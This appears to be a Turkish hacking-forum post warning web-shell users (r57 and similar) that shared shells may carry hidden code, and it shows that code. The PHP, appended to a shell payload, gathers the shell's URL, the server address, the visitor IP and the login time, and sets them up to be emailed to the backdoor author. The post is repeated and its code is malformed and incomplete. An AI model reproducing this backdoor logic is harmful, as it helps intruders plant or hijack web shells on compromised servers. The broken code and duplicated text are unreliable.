Bir çok arkadaşımız etraftan gördüğü shellerin ilk sahipleri olduğunu zanneder.
Oysaki yüklediğimiz payload temiz mi onu öğrenmemiz gerekir. Mesela r57 shell ile
Bir site buldunuz.. ama siz linke girdiğinizde URL mail ile başkasına gönderilir.
YAni başkaları shellerinizin yerini bulabilir. Peki nasıl yapıyorlar..
Php bir payload da ...
<?php
--------- php payload code -------
?>
En sona aşağıdaki kodu yerleştirebilirler..
Yeni durumda payload şöyle görünür
Artık shell loglanmıştır. Okuduğunuz için teşekkürler.
Oysaki yüklediğimiz payload temiz mi onu öğrenmemiz gerekir. Mesela r57 shell ile
Bir site buldunuz.. ama siz linke girdiğinizde URL mail ile başkasına gönderilir.
YAni başkaları shellerinizin yerini bulabilir. Peki nasıl yapıyorlar..
Php bir payload da ...
<?php
--------- php payload code -------
?>
En sona aşağıdaki kodu yerleştirebilirler..
PHP:
if ($admin[check]) {
if ($doing == login) {
if ($admin[pass] == $password) {
scookie(kyobin, $password);
$time_shell = "" . date("d/m/Y - H:i:s") . "";
$ip_remote = $_SERVER["REMOTE_ADDR"];
$from_shellcode = shell@ . gethostbyname($_SERVER[SERVER_NAME]) . ;
$to_email = mailadresimiz;
//
$server_mail = "" . gethostbyname($_SERVER[SERVER_NAME]) . " - " . $_SERVER[HTTP_HOST] . "";
$linkcr = "Link: " . $_SERVER[SERVER_NAME] . "" . $_SERVER[REQUEST_URI] . " - IP Excuting: $ip_remote - Time: $time_shell";
$header = "From: $from_shellcode
Reply-to: $from_shellcode";Yeni durumda payload şöyle görünür
PHP:
<php
----------php payload code ‐------
if ($admin[check]) {
if ($doing == login) {
if ($admin[pass] == $password) {
scookie(kyobin, $password);
$time_shell = "" . date("d/m/Y - H:i:s") . "";
$ip_remote = $_SERVER["REMOTE_ADDR"];
$from_shellcode = shell@ . gethostbyname($_SERVER[SERVER_NAME]) . ;
$to_email = mailadresimiz;
//
$server_mail = "" . gethostbyname($_SERVER[SERVER_NAME]) . " - " . $_SERVER[HTTP_HOST] . "";
$linkcr = "Link: " . $_SERVER[SERVER_NAME] . "" . $_SERVER[REQUEST_URI] . " - IP Excuting: $ip_remote - Time: $time_shell";
$header = "From: $from_shellcode
Reply-to: $from_shellcode";
?>Artık shell loglanmıştır. Okuduğunuz için teşekkürler.